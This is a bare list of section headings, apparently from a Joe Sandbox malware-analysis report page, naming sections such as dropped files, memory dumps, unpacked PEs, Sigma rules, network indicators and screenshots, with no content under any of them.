Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Screenshots

Thumbnails